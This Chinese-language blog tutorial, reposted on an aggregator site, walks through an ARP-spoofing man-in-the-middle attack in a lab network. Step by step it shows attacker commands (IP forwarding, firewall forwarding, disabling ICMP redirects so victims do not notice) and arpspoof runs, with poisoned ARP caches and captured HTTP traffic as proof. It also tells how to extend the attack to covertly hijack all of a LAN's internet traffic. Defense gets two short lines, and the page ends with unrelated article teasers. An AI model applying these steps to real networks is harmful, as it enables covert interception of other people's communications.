利用 ARP 欺骗,截获任意主机之间网络流量

ARP 欺骗实现原理:

通过伪造(未经请求)ARP 应答,从而改变受害端主机 ARP 表中的 IP-MAC 映射关系,将来自 LAN 上的受害端主机的数据包重定向到 LAN 上的另一台主机(攻击端,arpspoof 运行端),从而实现流量劫持。
ARP 投毒,持续伪造 ARP 请求
本方案扩展可实现:劫持内网任意主机到 internet 的所有流量,而用户无感知流量被截获

环境介绍

类型名称IP 地址MAC 地址接口名称
受害端hostA192.168.122.18152:54:00:2b:f4:83ens3
受害端hostB192.168.122.18352:54:00:e8:2a:36ens3
攻击端jiawen192.168.122.8652:54:00:d5:0d:43eth0

攻击端环境准备

1、启用路由转发,即转发受害端主机之间的任意流量

sysctl -w net.ipv4.conf.all.forwarding=1

2、攻击端系统防火墙放行 forward 流量

# 启用 public 区域内转发,攻击端接口 eth0 所在 zone
firewall-cmd --permanent --zone=public --add-forward

3、禁止攻击端发送 redirect 消息,避免受害端主机发现流量被劫持

sysctl -w net.ipv4.conf.all.send_redirects=0

如果不禁用配置项 send_redirects ,则受害端主机 ping 检测会有异常(容易被发现)

ping 192.168.122.183
#> PING 192.168.122.183 (192.168.122.183) 56(84) bytes of data.
#> From 192.168.122.86 icmp_seq=1 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=1 ttl=63 time=1.07 ms
#> From 192.168.122.86 icmp_seq=2 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=2 ttl=63 time=0.710 ms
#> From 192.168.122.86 icmp_seq=3 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=3 ttl=63 time=0.823 ms
#> From 192.168.122.86 icmp_seq=4 Redirect Host(New nexthop: 192.168.122.183)
#> 64 bytes from 192.168.122.183: icmp_seq=4 ttl=63 time=0.867 ms
#> ....

攻击端执行 ARP 投毒

1、攻击端执行 arpspoof 命令,开始 arp 投毒

sudo arpspoof -i eth0 -t 192.168.122.181 -r 192.168.122.183
#> 52:54:0:d5:d:43 52:54:0:2b:f4:83 0806 42: arp reply 192.168.122.183 is-at 52:54:0:d5:d:43
#> 52:54:0:d5:d:43 52:54:0:2b:f4:83 0806 42: arp reply 192.168.122.183 is-at 52:54:0:d5:d:43
#> 52:54:0:d5:d:43 52:54:0:2b:f4:83 0806 42: arp reply 192.168.122.183 is-at 52:54:0:d5:d:43
#> ...

扩展:
1、选项 -t 可设置多次,从而截获多个主机与 192.168.122.183 之间的流量
2、选项 -t 未指定时,且 192.168.122.183 替换为内网网关地址,从而截获内网所有主机到 internet 之间的所有流量。

2、攻击端接口 eth0 mac 地址

root@jiawen:~# ifconfig eth0 |grep ether
ether 52:54:00:d5:0d:43  txqueuelen 1000  (Ethernet)

3、受害端 hostA arp 缓存

[root@hostA ~]# arp -n -i ens3
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:2b:9a:d1   C                     ens3
192.168.122.183          ether   52:54:00:d5:0d:43   C                     ens3

通信对端 hostB 192.168.122.183 对应 mac 变更为攻击端接口 mac 52:54:00:d5:0d:43。即 arp 投毒成功

4、同理,受害端 hostB arp 缓存也已被投毒

[root@hostB ~]# arp -n -i ens3
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:2b:9a:d1   C                     ens3
192.168.122.181          ether   52:54:00:d5:0d:43   C                     ens3

hostA 和 hostB 通信测试

1、攻击端抓包受害主机之间的 ping 包

03:44:33.785225 IP 192.168.122.181 > 192.168.122.183: ICMP echo request, id 56, seq 1, length 64
03:44:33.785246 IP 192.168.122.181 > 192.168.122.183: ICMP echo request, id 56, seq 1, length 64
03:44:33.785738 IP 192.168.122.183 > 192.168.122.181: ICMP echo reply, id 56, seq 1, length 64
03:44:33.785756 IP 192.168.122.183 > 192.168.122.181: ICMP echo reply, id 56, seq 1, length 64

2、攻击端抓包受害主机之间的 http 包

03:47:34.951301 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [S], seq 2120799285, win 29200, options [mss 1460,sackOK,TS val 1963005399 ecr 0,nop,wscale 7], length 0
03:47:34.951324 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [S], seq 2120799285, win 29200, options [mss 1460,sackOK,TS val 1963005399 ecr 0,nop,wscale 7], length 0
03:47:34.951934 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [S.], seq 1967301846, ack 2120799286, win 28960, options [mss 1460,sackOK,TS val 1236436413 ecr 1963005399,nop,wscale 7], length 0
03:47:34.951955 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [S.], seq 1967301846, ack 2120799286, win 28960, options [mss 1460,sackOK,TS val 1236436413 ecr 1963005399,nop,wscale 7], length 0
03:47:34.952401 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [.], ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 0
03:47:34.952402 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [P.], seq 1:80, ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 79: HTTP: GET / HTTP/1.1
03:47:34.952421 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [.], ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 0
03:47:34.952444 IP 192.168.122.181.52932 > 192.168.122.183.http: Flags [P.], seq 1:80, ack 1, win 229, options [nop,nop,TS val 1963005400 ecr 1236436413], length 79: HTTP: GET / HTTP/1.1
03:47:34.952995 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [.], ack 80, win 227, options [nop,nop,TS val 1236436414 ecr 1963005400], length 0
03:47:34.953013 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [.], ack 80, win 227, options [nop,nop,TS val 1236436414 ecr 1963005400], length 0
03:47:34.954172 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 1:239, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 238: HTTP: HTTP/1.1 200 OK
03:47:34.954191 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 1:239, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 238: HTTP: HTTP/1.1 200 OK
03:47:34.954416 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 239:854, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 615: HTTP
03:47:34.954427 IP 192.168.122.183.http > 192.168.122.181.52932: Flags [P.], seq 239:854, ack 80, win 227, options [nop,nop,TS val 1236436415 ecr 1963005400], length 615: HTTP
....

防范 ARP 攻击

使用 ARP 防火墙:监控和检测网络中的 ARP 流量,及时发现并阻止异常 ARP 请求和响应

启用 ARP 检测功能:一些网络设备具有 ARP 检测功能,可以检测到 ARP 欺骗行为并自动阻断攻击者的连接

码字不易,若觉得本文对你有用,欢迎点赞 👍、分享 🚀 ,相关技术热点时时看🔥🔥🔥​​​…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3268908.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Idea 编译项目报错 java: java.lang.OutOfMemoryError:GC overhead limit exceeded

报错 java: java.lang.OutOfMemoryError: WrappedJavaFileObject[org.jetbrains.jps.javac.InputFileObjectpos13979: GC overhead limit exceeded解决 默认是700M,有的时候项目引入的依赖包比较大,可能超过了700M,需要扩大,根据实际情况设…

C++ 数字和数组解析

文章目录 1. 定义数字 2. 数学运算 3. 随机数 4. 数组 声明数组 初始化数组 5. 访问数组元素 6. 数组类型 7. 多维数组 二维数组 初始化二维数组 访问二维数组元素 8. 指向数组的指针 9. 传递数组给函数 10. 从函数返回数组 1. 定义数字 通常,当需要…

Unity UGUI 之 Mask

本文仅作学习笔记与交流,不作任何商业用途 本文包括但不限于unity官方手册,唐老狮,麦扣教程知识,引用会标记,如有不足还请斧正 本文在发布时间选用unity 2022.3.8稳定版本,请注意分别 1.什么是遮罩 遮罩是一…

基于springboot+vue+uniapp的养老院系统小程序

开发语言:Java框架:springbootuniappJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7(一定要5.7版本)数据库工具:Navicat11开发软件:eclipse/myeclipse/ideaMaven包&#…

SSM电子商务系统-计算机毕业设计源码68470

基于SSM框架的电子商务系统的设计与实现 摘 要 随着电子商务的迅猛发展和计算机信息技术的全面跃升,网上购物系统由于其迎合了人们诉求和期望而渗入社会生活各个层面和角落。本文设计并实现了一个基于SSM框架的电子商务系统。该系统旨在为用户提供一个舒适且快捷的…

子序列 392、524、521、522

392. 判断子序列(简单) 给定字符串 s 和 t ,判断 s 是否为 t 的子序列。 字符串的一个子序列是原始字符串删除一些(也可以不删除)字符而不改变剩余字符相对位置形成的新字符串。(例如,"ace…

C语言程序设计(二)

四.找素数 素数:除了1和它本身不再有其他因数的自然数。换句话说:一个大于1的自然数 ,如果只能被1和它本身整除,那就是素数(质数)。 在打印中遇到的问题就是,知道怎么写却总是运行不起来。主要…

尚硅谷vue全家桶(vue2+vue3)笔记

Vue2 一、Vue核心 01_简介 1.特点 采用组件化模式,提高代码复用率、且让代码更好维护。声明式编码,让编程人员无需直接操作DOM(命令式编码),提高开发效率。使用虚拟DOM优秀的Diff算法,尽量复用DOM节点。…

ks滑块验证码逆向分析与python识别

文章目录 1. 写在前面3. 接口分析3. 算法实现 【🏠作者主页】:吴秋霖 【💼作者介绍】:擅长爬虫与JS加密逆向分析!Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致力于Python…

从零搭建pytorch模型教程(八)实践部分(二)目标检测数据集格式转换

前言 图像目标检测领域有一个非常著名的数据集叫做COCO,基本上现在在目标检测领域发论文,COCO是不可能绕过的Benchmark。因此许多的开源目标检测算法框架都会支持解析COCO数据集格式。通过将其他数据集格式转换成COCO格式可以无痛的使用这些开源框架来训…

在MATLAB中使用importrobot导入机械臂刚体树时没有找到模型文件,只显示坐标;改为使用loadrobot

没有mesh文件夹,所以找不到模型文件 改为使用loadrobot,直接加载刚体树数据

【C++题解】1782. 字符图形2-星号倒直角

问题&#xff1a;1782. 字符图形2-星号倒直角 类型&#xff1a;嵌套循环、图形输出 题目描述&#xff1a; 打印字符图形。 输入&#xff1a; 一个整数&#xff08; 0<n<10 &#xff09;。 输出&#xff1a; 一个字符图形。 样例&#xff1a; 输入&#xff1a; 3…

重生之我当程序猿外包

第一章 个人介绍与收入历程 我出生于1999年&#xff0c;在大四下学期进入了一家互联网公司实习。当时的实习工资是3500元&#xff0c;公司还提供住宿。作为一名实习生&#xff0c;这个工资足够支付生活开销&#xff0c;每个月还能给父母转1000元&#xff0c;自己留2500元用来吃…

深入探讨 I/O 多路复用:提升系统 I/O 效率的关键技术

摘要 I/O&#xff08;输入/输出&#xff09;操作是计算机系统中不可或缺的一部分&#xff0c;而 I/O 多路复用技术则是提高系统 I/O 效率的重要手段。本文将浅谈 I/O 的基本概念&#xff0c;重点探讨 I/O 多路复用技术的原理、优势以及在现代系统中的应用。 引言 在现代计算…

LoRaWAN设备的两种入网方式(ABP和OTAA)

目录 一、OTAA 1、名词解释 2、入网流程 二、ABP 三、两种入网方式的比较 一、OTAA 1、名词解释 &#xff08;1&#xff09;AppEUI&#xff1a;64位&#xff08;8字节&#xff09;的唯一标识符&#xff0c;用于标识特定的应用程序或组织&#xff08;如果用的是chirpstac…

Android BLE蓝牙广播发送数据

1. 调试BLE蓝牙广播数据 参考 android蓝牙BLE&#xff08;四&#xff09; —— 实战 android蓝牙BLE&#xff08;四&#xff09; —— 实战 - 简书 2. Android机可直接安装调试助手 BLE调试助手下载2024安卓手机版_手机app免费下载

【linux】在多核CPU下,好像看到不同进程在不同CPU调度

在2353这行打印的情况来看&#xff0c;操作系统好像给不同的进程分配不同的CPU&#xff0c;从上图来看&#xff0c;同一个进程好像基本使用的相同的CPU&#xff1a; 其实摸索syscall文件系统操作&#xff0c;本意是想找到内核文件系统中文件的创建&#xff0c;写入&#xff0c;…

Windosw下Visual Studio2022编译FFmpeg(支持x264、x265、fdk-acc)

FFmpeg 7.0 版本移除了 6.0 之前已弃用的 API&#xff0c;无法向下兼容。所以编译的版本选择FFmpeg 6.1.1。 一、安装Visual Studio2022 可参考另外一篇文章&#xff1a;Windows安装Visual Studio2022 QT5.15开发环境_qt5.15.2 vs2022-CSDN博客 二、安装MSYS2 下载地址&…

宝塔Docker部署Nuxt3 BBS项目

体验地址 BBS&#xff1a;http://bbs.sourcebyte.vip Nuxt3&#xff1a;https://nuxt.com.cn BBS项目介绍 BBS是开源字节最新研发的社区项目&#xff0c;包含产品中心&#xff0c;需求墙&#xff0c;工具&#xff0c;资讯4大板块。 1、产品中心&#xff1a;开源字节有众多…

Kafka知识总结(分区机制+压缩机制+拦截器+副本机制)

文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 分区机制 分区策略 分区策略是决定生产者将消息发送到哪个分区的…